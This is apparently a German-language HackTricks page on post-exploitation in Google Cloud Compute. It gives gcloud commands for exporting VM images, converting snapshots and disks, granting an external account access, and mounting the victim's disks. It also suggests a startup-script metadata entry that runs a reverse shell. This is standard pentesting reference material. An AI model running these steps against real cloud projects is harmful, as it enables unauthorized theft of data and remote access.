GCP - Compute Post Exploitation

Support HackTricks

Compute

Für weitere Informationen zu Compute und VPC (Netzwerk) überprüfen Sie:

GCP - Compute Enum

Bilder lokal exportieren & inspizieren

Dies würde einem Angreifer ermöglichen, auf die Daten in bereits vorhandenen Bildern zuzugreifen oder neue Bilder von laufenden VMs zu erstellen und auf deren Daten zuzugreifen, ohne Zugriff auf die laufende VM zu haben.

Es ist möglich, ein VM-Bild in einen Bucket zu exportieren und es dann herunterzuladen und lokal mit dem Befehl zu mounten:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Um diese Aktion auszuführen, benötigt der Angreifer möglicherweise Berechtigungen für den Speicher-Bucket und auf jeden Fall Berechtigungen für cloudbuild, da es der Dienst ist, der aufgefordert wird, den Export durchzuführen. Darüber hinaus müssen für das Funktionieren die Berechtigungen des codebuild SA und des compute SA privilegiert sein. Der cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com benötigt:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

Und der SA <project-id>-compute@developer.gserviceaccount.com benötigt:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Exportieren & Überprüfen von Snapshots & Festplatten lokal

Es ist nicht möglich, Snapshots und Festplatten direkt zu exportieren, aber es ist möglich, einen Snapshot in eine Festplatte, eine Festplatte in ein Image zu transformieren und gemäß dem vorherigen Abschnitt dieses Image zu exportieren, um es lokal zu überprüfen.

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Überprüfen eines Images durch Erstellen einer VM

Mit dem Ziel, auf die Daten, die in einem Image gespeichert sind oder innerhalb einer laufenden VM, von wo aus ein Angreifer ein Image erstellt hat, zuzugreifen, ist es möglich, einem externen Konto Zugriff auf das Image zu gewähren:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

und dann eine neue VM daraus erstellen:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Wenn Sie Ihrem externen Konto keinen Zugriff über das Image gewähren konnten, könnten Sie eine VM mit diesem Image im Projekt des Opfers starten und die Metadaten dazu bringen, eine Reverse-Shell auszuführen, um auf das Image zuzugreifen, indem Sie den Parameter hinzufügen:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

Mit dem Ziel, auf die Daten, die auf einem Disk oder einem Snapshot gespeichert sind, zuzugreifen, könnten Sie den Snapshot in einen Disk, einen Disk in ein Image umwandeln und die vorherigen Schritte befolgen.

Oder Sie könnten einem externen Konto Zugriff auf den Disk gewähren (wenn der Ausgangspunkt ein Snapshot ist, gewähren Sie Zugriff auf den Snapshot oder erstellen Sie einen Disk daraus):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Hängen Sie die Festplatte an eine Instanz an:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Mounten Sie das Laufwerk innerhalb der VM:

  1. SSH in die VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identifizieren Sie das Laufwerk: Sobald Sie in der VM sind, identifizieren Sie das neue Laufwerk, indem Sie die Laufwerksgeräte auflisten. Typischerweise finden Sie es als /dev/sdb, /dev/sdc usw.

  2. Formatieren und Mounten Sie das Laufwerk (wenn es sich um ein neues oder rohes Laufwerk handelt):

  • Erstellen Sie einen Mount-Punkt:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Mounten Sie das Laufwerk:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Wenn Sie keinen Zugriff auf ein externes Projekt für den Snapshot oder das Laufwerk gewähren können, müssen Sie möglicherweise diese Aktionen innerhalb einer Instanz im selben Projekt wie der Snapshot/das Laufwerk durchführen.

Unterstützen Sie HackTricks

Last updated